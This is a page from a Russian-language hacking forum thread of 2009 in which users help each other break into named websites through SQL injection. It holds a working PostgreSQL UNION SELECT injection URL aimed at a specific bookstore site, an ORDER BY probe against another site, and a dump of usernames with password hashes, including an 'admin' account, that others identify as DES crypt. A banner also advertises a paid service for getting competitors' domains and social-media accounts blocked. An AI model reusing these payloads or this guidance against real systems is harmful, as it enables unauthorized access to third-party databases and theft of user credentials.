УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

		Форум АНТИЧАТ > БЕЗОПАСНОСТЬ_OLD > Уязвимости
Ваши вопросы по уязвимостям.

Страница 488 из 1393

488

Опции темы

Поиск в этой теме

Опции просмотра

#4871

22.01.2009, 08:56

TELO

Познающий

Регистрация: 21.01.2009

Сообщений: 98

Провел на форуме:
227123

Репутация: 122

Отправить сообщение для TELO с помощью ICQ

Цитата:

Сообщение от sabe

TELO
после like не = а +

* = используем когда непосредственно извлекаем где table_name=0x[table_hex]

всё равно не выводит,ну да ладно....башка не варит уже
спс

#4872

22.01.2009, 09:04

sabe

Постоянный

Регистрация: 16.03.2007

Сообщений: 380

Провел на форуме:
1404552

Репутация: 568

Отправить сообщение для sabe с помощью ICQ

Отправить сообщение для sabe с помощью AIM

Отправить сообщение для sabe с помощью Yahoo

Цитата:

[0]:admin:xyq5DSvOZhD.Y
[1]:sss:xyUQeQQ5IiRx2
[2]:lucas:xyb.sVOT03irU
[3]:dianer:xy2XsZs7GjaXM

что за хеши?

#4873

22.01.2009, 09:13

USAkid

Участник форума

Регистрация: 17.06.2008

Сообщений: 214

Провел на форуме:
964766

Репутация: 228

на des похоже

#4874

22.01.2009, 09:25

~~Артем Солнце~~

Banned

Регистрация: 19.01.2009

Сообщений: 26

Провел на форуме:
161729

Репутация: 67

скорее всего DES(Unix)

#4875

22.01.2009, 09:34

R1dex

Участник форума

Регистрация: 17.09.2008

Сообщений: 211

Провел на форуме:
1571865

Репутация: 571

Отправить сообщение для R1dex с помощью ICQ

Цитата:

Сообщение от TELO

всё равно не выводит,ну да ладно....башка не варит уже
спс

Конечно не выводит, это тебе не MYSQL, это PostgreSql. Почитай мануалы. Правильный запрос, чтобы посмотреть колонки, к примеру из таблы tk_users:

Код:

http://www.bookzone.com.ua/catalog.php?cid=-11028+union+select+COLUMN_NAME+FROM+INFORMATION_sCHEMA.COLUMNS+WHERE+TABLE_NAME=chr(116)||chr(107)||chr(95)||chr(117)||chr(115)||chr(101)||chr(114)||chr(115)+LIMIT+1+offset+0--

Последний раз редактировалось R1dex; 22.01.2009 в 13:46..

#4876

22.01.2009, 09:34

TELO

Познающий

Регистрация: 21.01.2009

Сообщений: 98

Провел на форуме:
227123

Репутация: 122

Вот тоже скуль
http://www.techcenter.com.ua/info3.php?id=17498%20order%20by%201%20--
а дальше не пойму..

#4877

22.01.2009, 09:36

TELO

Познающий

Регистрация: 21.01.2009

Сообщений: 98

Провел на форуме:
227123

Репутация: 122

Цитата:

Сообщение от R1dex

Конечно не выводит, это тебе не MYSQL, это PostgreSql. Почитай мануалы уже. Правильный запрос, чтобы посмотреть колонки, к примеру из таблы tk_users:

Код:

http://www.bookzone.com.ua/catalog.php?cid=-11028+union+select+COLUMN_NAME+FROM+INFORMATION_sCHEMA.COLUMNS+WHERE+TABLE_NAME=chr(116)||chr(107)||chr(95)||chr(117)||chr(115)||chr(101)||chr(114)||chr(115)+LIMIT+1+offset+0--

а имя таблы обязательно в чаре?

#4878

22.01.2009, 09:41

R1dex

Участник форума

Регистрация: 17.09.2008

Сообщений: 211

Провел на форуме:
1571865

Репутация: 571

Да.

#4879

22.01.2009, 09:46

~~Артем Солнце~~

Banned

Регистрация: 19.01.2009

Сообщений: 26

Провел на форуме:
161729

Репутация: 67

Цитата:

Сообщение от TELO

Вот тоже скуль
http://www.techcenter.com.ua/info3.php?id=17498%20order%20by%201%20--
а дальше не пойму..

Возможно в коде просто идет два запроса к БД подряд, по этому он и выдает The used SELECT statements have a different number of columns, попробуй использовать подзапросы